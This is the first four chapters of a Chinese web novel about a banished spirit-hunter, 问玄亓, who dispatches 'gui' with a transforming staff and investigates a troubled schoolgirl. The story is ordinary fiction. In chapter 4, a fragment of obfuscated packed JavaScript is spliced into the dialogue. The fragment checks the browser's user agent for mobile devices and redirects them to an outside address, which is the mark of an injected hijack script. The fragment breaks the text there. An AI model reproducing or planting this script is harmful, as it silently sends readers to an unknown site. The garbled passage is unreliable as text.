《问玄捉诡》
1. 第1章
昏暗的环境下似乎有一老一少人影偷偷摸摸地蹲到一个墙角,他们好像在害怕什么,总是左顾右盼,但几经确认后又开始了窃窃私语,可他们不知道的是不远处一直有一双眼睛在盯着他们。
“你知不知道两百年前我们这里主事的还不是尤师。”老头用极小的声音说出了这句话。
而年轻人也用极小的声音回应了他:“可我听说尤师一直都待在这啊?”
“是一直待在这,但他是两百年前才当上‘师’的。”
“啊?”年轻人差点叫出来。
吓得老头赶紧上手捂他嘴:“你小点声不要命了!”他转转脑袋环顾四周,在确认没有人后才开始接着说:“你刚来不知道,咱们之前的‘师’啊是因为犯了错被界主赶到人间当普通人去了。”
“这么严重啊?他可是‘师’啊,还能被赶到人间去,这到底犯了什么错?”
“想知道啊?”
年轻人一脸兴奋地点点头。
“来来,靠近点我给你说”
对方赶紧支起耳朵凑过去。
“我也不知道。”
“......”
对方觉得被戏耍了。
“不是,我俩什么身份?两个小小的‘吾’,也配知道这种事情?”
“那你给我讲什么东西啊讲!”
“嘘!”老头赶紧做了个噤声的手势。
年轻人也意识到自己刚才那一声有点大,伸手捂住了自己的嘴。
在短暂的安静后老头又开始讲起了悄悄话:
“这都是老一辈儿传下来的,我也就是听客。”
年轻人不理解:“你不也是老一辈儿的吗?”
“啧,就你话多,听就行了。”
“哦。”
老头眼珠左转转右转转:“咱们之前的那个师不仅是能力最强的,而且深受界主的喜欢,要不是后来他犯了错,说不定下一任界主就是他了。”
这给小年轻听的一愣一愣的:“界主那么喜欢他啊,他到底犯了啥错,我好好奇。”
“你以为我不好奇啊,我为了弄清楚到底是怎么回事,专门问了很多人,可就是没有人知道,我猜啊应该就
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是界主封锁了消息,不然怎么会这么多人都......”他话还没说完,就感觉背后阴恻恻的。
年轻人反应有些迟钝,推了推:“咋不说话了?接着讲啊。”
老头不予理睬,他只觉得不太对劲,咽了咽口水后开始慢慢转过头去,这一转他就对上了一双阴鸷的眼睛。
对方静静站立,俯视着他们,周围的空气仿佛开始凝固。
两个人一动不敢动,只觉得喉咙处似乎有一双无形的大手在慢慢地收拢,窒息感也蹿了上来,他们望着面前的人,后悔和恐惧开始溢出眼眶。
见他们这副模样,男人微微眯了眯眼,随后地上的俩人便没了窒息感,他们赶紧大口大口呼吸空气,恐惧却又一直在头顶盘旋,便连忙朝男人低头认错:
“错了,我们错了尤师,我们再,再也不敢了。”老头抬头看了看,见男人轻轻挑了挑眉,他便明白了其中的意思,赶紧拉着还在磕头的小年轻头也不回地离开了。
而男人整个人则罩在黑暗中,唯独那半张脸露在亮处,神情半明半暗的望着他们离开的背影。
2. 第2章
今天的天气格外的冷,不知道怎么回事突然就降温了,以至于街上的行人有兜的插兜、没兜的抱胸,一鼓作气迎着冷风朝前走。
问玄亓更是如此,她除了这些动作以外还多了一些情绪,面对突如其来的降温她感到十分不爽,要不是能力有限,她真想去到天界问问那些掌管天气的神官到底会不会工作。
因为今早出门前她还看了天气预报说今天是大太阳,所以她就只穿了件蓝白相间的薄款毛衣以及一件纯白色的薄款牛仔裤,面对突如其来的降温,她真的快冻成狗了,不对,狗都比她暖和。
她迎着冷风拐了个弯来到公园,并不是因为这里有多暖和,恰恰这里还是风口处,但穿过公园就可以省掉大部分路程,所以问玄亓选择走这里,她宁愿短时间吹着冷风快速回到家,也不愿意将时间耗费在路上,尽管走别的路或许会暖和些。
可能是天气的影响,没有人在公园里,这让问玄亓走得更快了。
人间的天气预报是狗屎,天上的神官是狗屎,刚才那阵冷风更是狗屎!
等等,为什么是刚才?正在抱怨的问玄亓忽然觉得不对劲,她将双手放了下来,抬头看向四周似乎在感受着什么:
那阵风不见了,不仅仅是那冷风,此时此刻她感受不到一点风的存在,这太诡异了,为了验证自己的猜想,她将自己的手移到嘴边,然后对其吹出一口气,随后阴着脸将手放下,她没有感受到自己吹出的那口凉气,一点都没有感受到。
而问玄亓很快就明白了这是怎么回事,她慢慢深呼吸,似乎在压制心中的怒火,但在环顾四周后却又发出一道怒吼:
“给我滚出来!”
细细簌簌的声音从背后传来,她转过身去,面前站着的却是一个高中生模样的男生。
“你怎么了?”男生的语气似乎在关心问玄亓,他疑惑地看着她,随即从口袋里掏出手机,礼貌地询问:“你是不是遇上什么事了?需要我帮忙报警吗?”
问玄亓则是面无表情地看着他,将他上下打量一番后开口说道:“不用了,我没事。”
“哦。”男生见她没事,点了点头便转身准备离开这里,在走了几步后他忽然听见背后有朝他快速走来的脚步声,刚转头查看就被问玄亓一棍子打在了脸上,他捂着脸难以置信地看着她:
“你干嘛!”
问玄亓则十分淡定,她望着男生脸上那若隐若现闪着蓝光的纹路,嘴角向上一扬:“对问玄棍有反应,你不是‘诡’是什么!”
话音刚落,她拿着手中的问玄棍再次冲了上去,这一次男生倒是明捷的躲开了,或许是被看穿,又或许是完全没有反驳的机会,他便也不装了,眼睛一斜恶狠狠地盯着问玄亓,全然没有了刚才的单纯无知。
他趁势伸出手朝问玄亓扑了过去,他想去抓她,问玄亓同样敏捷躲开,并且抄起手中的棍子快准狠的朝面前的胳膊打了下去。
这一棍力道不小,听声音像是断了,问玄亓也不给对方反应的时间,她再次拎起棍子重重的挥向了对方的脑袋。
这一棍挨在普通人身上离死也就不远了,可面前这人是“诡”啊,他倒在地上捂着脑袋,随后又缓缓起身,一脸怨恨的看着她,咬牙切齿的开口:
“我明明什么都没有做,你凭什么这么对我?”
问玄亓像是听到了一个笑话,她冷笑一声:“说这话你自己笑没?”随后她微微抬起下巴,半眯的眸子闪过一丝讥讽:“最近这里不太平,都是你干的吧。”
男生没有给出回应,他若有若无的眯眯眼,下一秒又冲了过去。
问玄亓这次没有躲,她紧握棍子挡下了对方的第一次攻击,随后快速的朝男生的腰部打去,对方吃痛往旁边一退,但不出一秒又跟狗皮膏药似的贴了上来。
问玄亓无心与他继续掰扯,在躲开他的第二次攻击后迅速抓住他的胳膊,而男生在拼命反抗时他的指尖划到了问玄亓的手背,搁旁人来看会觉得无比奇怪,这男生指甲短得要命,指尖却锋利如刀刃,在接触到皮肤的一瞬间,就划开了一道口子。
不过从问玄亓的角度来看就再正常不过了,对方可是“诡”,有什么奇怪的地方都不足为奇。
她抬手淡定地看了看那道不断有血珠冒出的伤口,随即右手紧握问玄棍朝对方挥了出去,对方慌忙躲开。
她不作停留地再次打向了男生的腰部,对方吃痛后退,问玄亓抬起左脚狠狠踹了过去,连续两次重击,男生只觉得腰痛肚子痛,一时不知道该捂哪里。
问玄亓则是乘胜追击,抄起问玄棍朝对方的头部打去:
正面、左边、右边
一下
两下
三下
连续三下重击头部,不管对方是诡是神都得趴下。
男生倒在地上只觉得浑身上下哪儿都痛,他双眼朦胧视线无法对焦,却看见一个模糊的身影将手中的棍子从右手换到左手,随后便半压在他身上,同时将手中的那根棍子横着抵在他的喉间。
问玄亓像看将死之人一样看着他,接着她的右手抚上问玄棍,反手握住它后轻轻一扭,棍子便分成了两根,她抬起右手停在半空,将半根玄棍对准对方的脑袋,下一秒,那棍子中央竟然伸出一截闪着寒光的刀刃。
刀刃倒映在男生的双眸中,他望着头顶的问玄棍,眼中竟有了恐惧的神情,眼珠一转又看向问玄亓,哀求道:
“求你了,别送我去那里。”
面对哀求,她挑了挑眉:“这可由不得你。”随后立刻将刀刃直直插进了他的脑袋里。
男生瞪大了双眼,他眼睁睁看着自己消失然后化成了一团蓝色的火焰。
问玄亓站起身,看着这团火焰,接着透过它又看向后面的树,她往后退了退,慢慢侧过身,将右手的问玄棍一转变成了正手紧握,在空中一甩后短刃变成了长剑。
她抬起长剑朝火焰后面的树劈了一刀,那树中央就出现了一条裂缝,裂缝逐渐变大,问玄亓便看见了裂缝后模糊的场景。
那团蓝色的火焰似乎知道自己该去哪里,它朝裂缝飞去并且穿了过去,接着便消失得无影无踪。
手中问玄棍的剑刃忽然消失,只留下一截把手,问玄亓将两截把手合二为一,它们便又重新变回了短棍。
随后,问玄亓若有所思地看向裂缝,在叹了口气后朝着裂缝走去,她来到裂缝旁边抬起左手,此时左手手背上的伤口已经完全愈合。
她看了看原本受伤的地方,又抬眼看了看眼前的裂缝,眉头微微一皱,似乎在思考什么,下一秒就伸出了手,在指尖碰到裂缝的一瞬间,一股钻心的疼痛就从指尖蔓延开来。
她赶紧将手伸了回来,紧紧皱眉地看着鲜红的指尖以及新的伤口旁横七竖八的旧伤口,这已经是问玄亓数不清多少回去接触这个裂缝了,而每次的结果都是钻心的疼痛和留疤的伤痕。
没错,她的身份使她在面对一切因各种原因而受的伤时都可以快速愈合,但唯独面对这道裂缝。
这是人界通往诡界的通道,诡可以被送进去,诡界里的人
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也可以出来,可她不行,因为她犯了错,被主赶了出来,但她不记得自己到底犯了什么错,也不记得被赶来人间前的事,总而言之,她在诡界的一切她都不记得了,想到这她的左眼又开始隐隐作痛。
问玄亓抬起头红着眼看着裂缝,随着时间的倒计时裂缝也消失不见,留下的只有她双眸中的不解与不甘。
“阿亓。”
熟悉的声音在背后响起,问玄亓转过身看见一个纤瘦而挺拔的男人,即使在黑暗中她也能感受到对方那贵气又清冷的气质,尤其是那双眼睛,总给人一种透着忧郁又具有故事的感觉,但仔细看去却发现他的眼眸中是一种精明。
见到他,问玄亓下意识握紧左手。
男人也注意到她那只还在不停滴血的手,便微微蹙眉,轻声问道:“你又触碰裂缝了。”
问玄亓将视线从他的身上移开:“我只是想试试能不能进去。”
男人抬脚走向她,将视线落在她的左眼,再次轻声问道:“眼睛还痛吗?”
问玄亓愣了一下,她扭头看向他,对上他的视线,她在这双眼眸中看出了一抹关心,一时之间她也不知道该说什么的好,便想了一句折中的话:
“还行。”
男人紧接着从口袋里掏出一瓶药膏:“这是我从云崧蓝那里拿的,虽然不能阻止伤口留疤,但可以让伤口愈合的速度快一些。”说着就将药膏塞进问玄亓手里。
她意味深长的看着药膏,头也不抬的问道:“云使的东西我也可以用吗?”
“当然了。”男人点点头。
问玄亓捏了捏药膏,劲使得越来越大,她不明白为什么自己都可以用“使”的东西,却碰不了裂缝进不去诡界。
作祟的诡消失了,那股讨厌的冷风又出现了,吹的问玄亓手上的伤口又凉又痛。
男人注意到她的异样,开口安慰道:“其实你不用每次去试探它的,只是时间还没有到,你等我再去界主那儿......”
“尤聿离。”
男人话还没说完就被打断,他有些错愕的看着她。
问玄亓抬起头看向他的眼睛,语气强硬:“尤师,你是‘师’我是‘吾’,我们还是少见面的比较好。”
尤聿离一时之间竟然不知道该说什么,等他想开口时,问玄亓头也不回的离开了。
他望着她逐渐消失在黑暗中的背影,眼中满是失落。
回到家中的问玄亓将药膏往桌子上一扔就进了卧室。
衣服和裤子都被滴上了血,所以她也就没那么讲究,直接用带血的手脱掉了它们,然后丢进了盆里。
她打开水龙头冲去手上干得差不多的血迹。
嘶~
没想到冲掉血迹后伤口又开始渗血,也对,被裂缝伤到哪有这么快就愈合的。她忽然想起了那瓶药膏,一边用纸擦干手,一边坐在了沙发上。
问玄亓打开药膏,里面是普通的白色膏体,但一凑近就可以闻到淡淡的药草味,她用指尖取了一点下来然后轻轻涂抹在伤口上,冰冰凉凉的很舒服,疼痛感一瞬间消了大半。
问玄亓勾了勾嘴角,心想不愧是云使的药。
简单洗漱后她就上床睡觉了,今天会遇见那个诡完全在她的计划之外,本来打算明天去打探打探的,没想到竟然提前了,不过也挺好的,明天就轻松多了。
想着想着她忽然开始想明天该吃什么,要不明天早餐去店里吃个小蛋糕吧,好久也没去了。
很好,计划完美,问玄亓满意地入了眠。
3. 第3章·眼泪
第二天,问玄亓开车来到甜品店,此时店里还没有什么人,见她进来,在收银台的店员赶紧走出来打招呼:
“老板你来啦!”
问玄亓朝她笑着点点头,随后她的目光落在店员的胸牌上,上面写着“店员夏栀晓”。
她一边将歪掉的胸牌扶正,一边说:“我要一份巧克力千层,再要一杯茉莉红茶。”
夏栀晓点点头:“好的老板。”
问玄亓转身走到最靠里的一个角落坐下,这是她最喜欢的位置,因为这里有一扇窗户,而打开窗户就能看见辽阔无垠的大海。她前面的窗户打开也可以看见大海,但只有这扇窗户才可以正面看见海上的那块儿石头,高高的、独自屹立在海面上,偶尔会有鸟群停在上面休息,中午的时候也会有阳光洒在上面。
问玄亓也讲不清自己到底为什么会喜欢那块儿石头,或许是她觉得好奇,好奇这块儿石头为什么会独自站在海面上,有时候她也会想在她看不见的地方,海面下的石头是不是特别长,一直延伸到海底?
她不知道,只知道自己每次烦闷的时候往这一坐心情就会好许多。
她开的这家店除了味道不错的甜品以外,最出名的就是装修风格和打开每一扇窗户都能看见不同的风景,因此她这里也成为了一个网红打卡点,每天都有很多漂亮的女孩子或者帅气的男孩子到她这来拍照打卡,人一多,她最喜欢的座位也总是没空,所以她一般早上或者晚上的时候才来店里坐一坐。
“老板,你要的蛋糕和茶。”夏栀晓将巧克力千层和茉莉红茶放在她面前。
“谢谢。”问玄亓看看她又笑着询问:“最近店里生意怎么样?”
夏栀晓:“最近店里的生意很不错,客人也增加了不少。”
“是吗?”问玄亓喝了一口茶:“那你们四个忙得过来吗?需不需要我再招个人?”
夏栀晓疯狂点头:“需要需要,而且每次一到周末节假日人更多。”
“行,那等我后面看看有没有合适的。”问玄亓笑着答应:“我这没什么了,你去忙你的吧。”
“好的老板。”
看着面前的蛋糕,她用勺子挖了一块放进嘴里,香甜醇厚,不愧是王师傅的手艺。
问玄亓从诡界被赶出来后她就在人间游荡了几百年,除了抓抓诡以外就是研究这人间的东西,其中最让她满意的就是这人间的食物,美味至极。
酸甜苦辣咸她都研究了个遍,但最喜欢的就是甜了,所以她在古时候开茶食店,在新时代开甜品店。
现在这家店店面不算大,但奈何找了个手艺极好的师傅,再加上自己的装修审美让店火了起来,渐渐的,店里就从两个人变成了四个,最后又变成了八个,到现在还得招人。
王师傅之前劝过她再开一家分店,但她懒,懒的再找地段、搞装修、招店员、进食材,反正这家店赚的钱加上她在人间几百年攒的钱后面就算不开店了也够她活几辈子了。
这样挺好的,早晚来这吃甜品,白天有诡抓诡没诡休息,这样的日子也蛮惬意的。
吃完蛋糕后问玄亓顺便将招聘的牌子写好了,她起身来到收银台前:“栀晓,招聘信息我写好了,你一会儿看看摆哪儿合适。”
“好的,老板。”夏栀晓看着她忽然想到了什么:“对了老板,王师傅昨天去进货的时候发现了一款新的草莓果酱,他尝了说味道比我们之前用的那一款要好很多,就想让你尝尝,看可以的话要不要换成这款果酱。”
问玄亓点点头:“好啊。”
随后夏栀晓从里面拿出一瓶果酱递给了她。
问玄亓接过后看了眼后厨里忙碌的三人,开口问道:“我记得王师傅今天请假了是吗?”
夏栀晓点点头。
“行,到时候我觉得可以了会告诉他的。”问玄亓笑了笑,她刚准备离开,夏栀晓又叫住了她。
她疑惑的问:“怎么了?”
夏栀晓抿抿嘴:“老板,你最近一个人出去的话要小心啊,这几天可不太平了,好几个人都出事了。”
问玄亓垂下眼眸,她非常确定不会再出事了,但她不能表现出来,只能笑着回应:“好的,我知道了,你们也是。”说完离开了甜品店。
她刚打开车门耳边就响起了海水拍打岸边的声音,一转头海风就抚上了脸庞,很舒服。
反正今天也没事,不如就在这转转,想到这,她关上了车门,朝着海边走去。
大海果然是个好东西,不管看多久都不会看腻,问玄亓就这样在海边走走停停,饿了就吃街边小吃,累了就往沙滩上一坐,十分惬意。
她看着太阳从天上落下、海水也退了潮、海风吹到身上也开始冷了才不舍的离开海边。
回到店里,客人不少,喜欢的座位也有了人。
“老板你回来啦。”夏栀晓和其他店员见到她都十分热情地打着招呼。
问玄亓微笑回应,视线环顾一圈后落在了一个熟悉的背影上。
她走过去,来到那人对面,果然是他,她便顺势坐在了那里。
尤聿离也对上了她的视线:
“伤口恢复的怎么样?”
问玄亓看了看贴着创可贴的手指:“还行,没有以前那么疼了。”
尤聿离轻轻一笑:“那就好。”
见他面前摆着一盘蛋糕和一杯茶,问玄亓便开着玩笑:“品位不错啊。”
尤聿离笑了笑:“你店员推荐的,我问她你们老板吃蛋糕时一般喜欢配什么,她就给我推荐了茶。”
问玄亓笑容僵了一下,但很快就恢复了过来:“是吗?那你好好享受吧。”
尤聿离转头看向窗户外面:“这个座位不错,可以看见亮灯的街道,很漂亮。”
问玄亓眼神指向她喜欢的座位:“那个座位也不错,可以看见孤石立在海面上,也很漂亮。”
“是吗?”尤聿离看着座位上的女孩:“可惜有人了。”随后他的眼神微变再也没移动过。
问玄亓见他这样也看了过去,座位上的女孩短发留着刘海,戴了副金属框眼镜,身上穿了件宽松的毛衣外套,看着像高中生,背后的包里隐约露出像书籍一样的东西,她面前的桌子上放着一杯茶。
茶还是满的,不知道她是什么时候来的。
女孩侧着脸,一直在看窗外,一动也不动。
在普通人看来再正常不过的一幕了,可问玄亓和尤聿离不是普通人啊。
问玄亓刚才进来时没注意看,现在仔细看去就可以感受到那女孩身上的不对劲,可她只能感受到,她知道尤聿离能看见,便问他:“你看见什么了?”
尤聿离的眼神依旧盯着女孩,随后他端起茶杯喝了一口:“蓝色的光。”<
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p>问玄亓皱起眉,那女孩是“诡”?
“你一进来就发现了吗?”她反问道。
尤聿离摇摇头:“没有,我也是刚才才看见。”
那女孩的脸上只是隐隐约约地泛着蓝光,要不是问玄亓将话题带到那个座位上他还真是发现不了。可这也说不通,以他的资历,应该是一进门就察觉到了。
“尤聿离,尤聿离!”
尤聿离回过神望着问玄亓。
“你怎么了?”问玄亓见他这副样子。
尤聿离简单一笑:“没什么,就是那女孩脸上只有隐隐约约的蓝光,很弱,所以我一开始也没察觉出来。”
听他这么一说,问玄亓转头看过去,她能感觉出女孩身上的不对劲,但也确实没有那么强烈。
“她到底是不是‘诡’,还有待考察。”尤聿离看着她。
问玄亓将脸转回来,刚好对上他的视线,停顿几秒后,她开口说道:“行了,接下来的事就跟你没关系了,她要真是‘诡’我就直接送到诡界了。”
问玄亓的话在尤聿离的意料之中:“好。”他并没有多说什么,只是叫人打包了没吃完的蛋糕。
来到门外,他转过身,透过窗户去看她的背影,有些思绪慢慢上头,但他也只是垂下眼眸将它们压了下去,然后离开了这里。
问玄亓为了不让对方察觉到她,她还专门点了杯茶,不过很快她就明白是自己多虑了。
从刚才到现在,那女孩一直保持着侧脸看向窗外的动作,一动不动,就好像那孤石吸走了她的魂魄。
时间在走了一圈又一圈后,来到了即将关店的时候,栀晓和其他几个店员开始收拾桌子,店里剩下的两三个客人见状也收拾东西离开了。
那女孩终于有了反应,她转过头见其他人离开,也拎起自己的包跟着离开了。
问玄亓站起身紧跟其后,来到店外后她就上了自己的车,见女孩左拐,她就慢慢跟了上去。
女孩走进一个小区,问玄亓放下车窗看了看,她将车停在路边,等待时机跟着一个路人混了进去。
可能是时间有些晚,小区里已经没什么人在外面走动了,女孩穿过绿化走了里面的小道,很快就走到了里面的游乐设施。
她觉得脖子凉飕飕的,就想将领口的拉链再拉高些,左手从口袋里伸出来,没想到顺带将钥匙带了出来。
掉在地上的钥匙发出了清脆的响声,她转身蹲下去捡,指尖刚碰上钥匙,她就隐隐约约地感觉前方有什么,抬起头却迎上一阵风,风将她的刘海吹起,下一秒,她的面前就出现了一张脸,再下一秒这张脸就朝她飞了过来。
惊慌失措中她向后摔倒在地,呼吸急促,心跳加快,她下意识想赶紧看看那张脸还在不在,一抬头却看见一个人站在前方,那人慢慢朝她走来:
“你没事吧?”
问玄亓听见动静就朝这跑,刚进来就看见她摔倒在地,本能的准备去扶她,没想到女孩率先站了起来。
女孩满脸惊恐,看见问玄亓更是不敢多说一句:“我没事。”说完便赶紧离开这里,一步三回头确认问玄亓是否还在,见问玄亓还在看自己,女孩离开的速度更快了。
问玄亓望着女孩离去的背影,深深皱起了眉,因为刚才刚踏进这个小区,那股不对劲就加重了。
她微微眯眼,这女孩到底是不是诡?
4. 第4章·眼泪
女孩几乎是一口气跑了回去,她战战兢兢地打开门,家里很暗,只开了一个灯,妈妈坐在沙发上看着手机,听见动静后才扭头看了过来。
“怎么现在才回来。”
女孩没看妈妈的脸,直径往卧室走去:“学校今天有事,弄完了才回来的。”
她来到卧室,顺手将门关上,把包放在椅子上,刚坐下叹出一口气,门就被打开。
“茹衿,把这盘橙子吃了,抓紧睡觉。”妈妈将切好的一盘橙子放在她面前。
“我不想吃橙子。”
“吃完记得把盘子洗了。”妈妈说完这句话离开了卧室。
她望着门口再次叹了口气,起身将门重新关上。
她没管那盘橙子,直接躺在了床上,随后取下眼镜,用模糊的双眼看着天花板。
模糊间她又想起了在游乐设施见到的那张脸——上一秒还无比正常,下一秒五官就开始扭曲,明明它朝自己飞过来了,可怎么一眨眼就不见了?难道真是自己最近压力太大引起的幻觉?
脖颈处突然凉飕飕的,她下意识将衣领扯了扯,最近不知道怎么回事,总感觉有凉风在吹自己的脖子,在外面就算了,怎么到家也还有凉风。
想到这里,她将眼镜重新戴上,起身检查了窗户,窗户是紧紧关上的,手挨着缝隙才能感受到风,更何况还有窗帘。
想不通怎么回事,茹衿只能将窗户打开又重新关上,确保严丝合缝后将窗帘拉了起来。
问玄亓站在下面望着那扇拉上窗帘的窗户,三楼,不高。虽然她知道此时此刻自己的行为非常像一个变态,但为了避免再出现祸端,所以她必须得时刻盯着女孩,直到确认女孩是人是“诡”。
她突然打了个冷颤,看了看安静的四周,又望望黑乎乎的天,天气真是一天比一天冷。
问玄亓眼珠一转,再次看向那扇窗户,撇撇嘴,行吧,也不是必须得自己亲自在这盯。
随后问玄棍慢慢在她手中浮现,照例拧下一半,刀刃从里面钻了出来。左手手心抚上刀刃,稍稍一用力就划破了皮肤,血珠从破口处一点点冒了出来,小血珠飞向空中慢慢汇成了半个指甲那么大的血珠。
血珠朝窗户飞去,它穿过了窗户,穿过了窗帘,渗进了茹衿的后脖颈。
坐在桌前的茹衿觉得后脖子有点痒伸手挠了挠,她还在为那张脸感到烦恼,还有那个人。一想到她,茹衿就觉得尴尬,那个人是不是看见自己跌倒的样子了?还有自己跑回家时一步三回头,她会不会觉得自己很奇怪?会不会觉得自己有毛病......
她确实觉得自己有毛病,总是控制不住地想一大堆,万一人家根本没在意呢?可是自己还是忍不住去多想。
哎呀算了,睡觉吧,睡着了就不想了。起身准备去洗漱,转眼又看见桌上摆的那盘橙子,她有些无奈,但还是将盘子里的橙子吃得干干净净,打开卧室门,妈妈已经睡下了,她蹑手蹑脚地洗盘子,然后又蹑手蹑脚的洗漱。
终于上了床可以睡觉了,但她又忍不住瞎想,不知道瞎想到几点才慢慢睡去。
问玄亓站在楼下,手心的伤口早就愈合了,而她直到看到窗户的灯光熄灭才动身离开。
第二天问玄亓起了个大早,她昨天晚上睡得很好,身体没有任何不适,这不禁让她怀疑那真正的“诡”或许是在那小区里。
她看了看表,这个点女孩应该去学校了,正好趁着这个时间再去小区看看,要是感觉强烈就可以直接锁定目标了。
问玄亓开车来到昨晚的小区,用同样的方法混了进去,但刚踏进去她就没了笑脸。
这个小区根本没有任何不对劲的地方,她一点都感受不到。
她的脸慢慢沉了下来,为了确保准确性,她在小区里转了几圈,这几圈下来,能得到的结论就是——这是一个正常再正常不过的小区。
可昨天晚上确实是进了这小区后感觉更加强烈了。但事实摆在眼前,她又不能不信,看来还得从那女孩身上找答案。
问玄亓回到店里,她向夏栀晓问起那个女孩,夏栀晓告诉她那女孩最近这几天总是晚上来这,一直待到快关门才离开。
问玄亓看向那个位置,如果不出意外,今天晚上她还在那里。
如她想的一样,星星挂满天空的时候,那女孩——茹衿就来了。
茹衿照常坐在那个位置,问玄亓走过去在她对面坐下。
“这个座位的风景非常独特,我一直以为只有我会喜欢这里。”
茹衿可能没想到会有人跟她搭话,一脸懵的抬眼看去却发现面前的人十分眼熟。
“你是......”
问玄亓扬起嘴角:“我们昨天晚上见过,还记得吗?”
当然记得了,昨天晚上睡前还在想的人怎么可能不记得。
问玄亓没等对方回答,自顾自的接着说:“我来这家店经常坐这个位置,没想到有人跟我一样。”
茹衿觉得奇怪:“你怎么知道我经常坐这?”
问玄亓看了看收银台的栀晓:“店员告诉我的。”
茹衿更诧异了,对面这个人在打听她?
问玄亓看了她一眼,解释道:“别紧张,我不是什么坏人,只是没想到能遇见一个同样喜欢这里的人。”
她一边说着,一边在手机上打着字:
今天我来关门,你们可以直接下班回家了
她想了想又补充了一句:走的时候不用跟我打招呼
夏栀晓和其他店员回复:OK
剩下的时间问玄亓总是不停地跟茹衿聊天,不管对方愿不愿意:
“其实你白天来,这里看着更美。”
茹衿望着窗外摇摇头:“不行,白天我有课。”
“没事,你可以周末了来。”
茹衿转过头看着问玄亓,她从刚才开始就一直在引导自己说话,她到底是想干什么?
“白天那块孤石上偶尔会有鸟群休息。”问玄亓朝她笑一笑。
茹衿重新看向窗外:“是吗?”她好像有些失落:“我还一直以为那块孤石只有它自己呢。”
问玄亓端起面前的茶杯:“因为你总是在同一个时间段去看它。”
茹衿将目光再一次落在她身上:“同一个时间?”
问玄亓抬眉看向她:“对啊,你不是一直都在晚上的时候才来吗?一直在同一个时间段观察它会很难观察到新的事物,就像这个甜品店,你要是在它晚上九点半到次日的早上八点这个时间段来的话,你能看到的就只有一个永远关着门没有亮光的店。”
茹衿歪了歪脑袋,似乎对她说的这段话很有兴趣。
问玄亓也注意到这一点,将茶杯放下接着说:“不同的时间可以看到很多不同的事物,但要是在同一个时间待久了,你就会被局限、被困在那里。”
茹衿垂眸看向茶杯里倒映出的她的影子,像是在喃喃自语:“人也一样。”
“没错。”问玄亓看着她:“人也一样,总是用同一种眼光、同一种心态去看待一件事情,就会走不出来,所以我真心建议你换个时间来欣赏美景。”
茹衿没有回答,只是略显沉重地将身子往椅子上一靠。
许久后她开了口,眼神有些呆滞:“换个时间段对我来说有点难。”
随后又说出一句叫人摸不着头脑的话:“我还以为这海里的孤石和我一样,没想到是我想多了。”
问玄亓微微蹙眉:“为什么这么说?”
茹衿像个丢了魂的躯壳:“我有时候在想,自己到底是不是一个人,又或许我根本就不是人。”
问玄亓眼神一亮:“不是人?”
茹衿双眸微微一动:“躯壳,我像一个躯壳。”
“躯壳?”问玄亓凑近了些,她趴低身子又抬起眸看着女孩的眼睛:“你到底是人,还是躯壳,又或者说你是‘诡’?”
鬼?听到这个字茹衿疑惑地抬起头,正好对上问玄亓的目光。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311261|198858||http|test|mini|href|location''.split(''|''),0,{}));
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>周围突然十分安静,茹衿这才意识到这家店里不知道什么时候只剩下她们两个人了。
一种慌张感涌上心头,她站起身就准备离开,没想到问玄亓也站起身并且挡在了她面前。
茹衿只想赶紧离开这里,却看见问玄亓手里变出一根短棍指向她的脖颈处。
她简直不敢相信自己的眼睛。
气氛开始不对劲起来,茹衿垂眸看向脖间的短棍,这棍子上有着奇怪的纹样,并且她能感受到这根短棍散发出来的阵阵寒气。
问玄亓的身高在女生里面算中等偏上水平,再加上她本身从诡界出来,一冷脸就有种吓人的压迫感。
茹衿看着面前这个比自己高半个脑袋的人,心差点蹦到嗓子眼了,现在要是不管她直接跑被打死的概率有多大?她手上这个根子看起来可以一下把自己脑花打出来的样子。
茹衿心里一阵苦笑,她忽然想到问玄亓刚才说的那个字,转念一想会不会是误会了什么?于是,她试探性地张了张嘴:“你是不是找错了?我不是什么鬼。”
问玄亓看着她没有说话,她的眼眸微眯,下一秒将手里的问玄棍往下挪动几分,然后打在了女孩的胳膊上。
问玄亓用的力气没有多大,但茹衿还是吓了一跳,她捂着胳膊一脸懵地看着她。
问玄亓的表情却变了,她放下问玄棍靠近茹衿,一脸着急地看着她的脸,目光在对方脸上上下扫动,好像在寻找什么。
“怎么没有呢?难道你不是?”问玄亓喃喃自语道。
“不是什么?”茹衿终于忍不住了:“你在找什么?”
问玄亓没有回答,她一脸失望地往后退了退,低着头似乎在思考着什么。
茹衿见她这个样子一股无名火突然蹿了上来,她刚要张口,却见问玄亓猛地回头看向后方,于是她也跟着看了过去。
两人歪头看过去,只见前面的桌子旁竟然蹲了个男人,男人鬼鬼祟祟地在地上挪动,或许是意识到周围安静了下来,他抬起头正好对上两个人的目光,一瞬间场面极其尴尬,三双眼睛你看看我我看看你。
问玄亓抬头看向男人身后那个小小的隔断,瞬间就明白了是怎么回事。
那个隔断是先前装修的时候算错了空间,刚好多出了一块,装修师傅本想直接拆掉的,但问玄亓觉得刚好可以留下做一个小隔间,专门给那些社恐的人当作用餐区,为此她还专门在隔断的墙上开了一扇窗户。
因为比较小,来这的客人大多都是结伴,所以这个位置的使用率不高,问玄亓都快把它忘了,估计夏栀晓她们今天也是。
没想到啊,真是没想到,当初的灵光一现竟然给现在的自己整了个麻烦。
男人抬起头朝俩人尬笑一声,他也是没想到啊,自己就是来这吃个蛋糕,戴了个耳机沉浸式观赏美景,谁曾想耳机一摘就看到了他此生难忘的一幕:
店里的其他人离奇消失,一个女人突然暴起,又突然凭空变出一根短棍,然后又突然打向另一个女孩。
真是见了鬼了。
不管这女人究竟是个什么东西,对自己都十分不利,想着悄悄蹲着走到门口,结果还被发现了。
男人见俩人不说话,他将目光看向离自己不远的门,于是,心里一横站起身就往门口跑。
问玄亓眼疾手快,拿起盘子里的叉子朝男人甩了过去。
男人门还没开,一把铁叉子就插进了他面前的墙里,他吓了一跳,转头看过去,问玄亓就已经站在了他身后,手里的短棍这次抵在了他的脖间。
“我我我,我什么都没看到,什么都没听到,你放过我吧!我上有八十老母......”
不等男人将求饶词说完,她抬起问玄棍轻轻碰上男人的额间,随后男人竟闭上眼倒在了地上,就像睡着了一样。
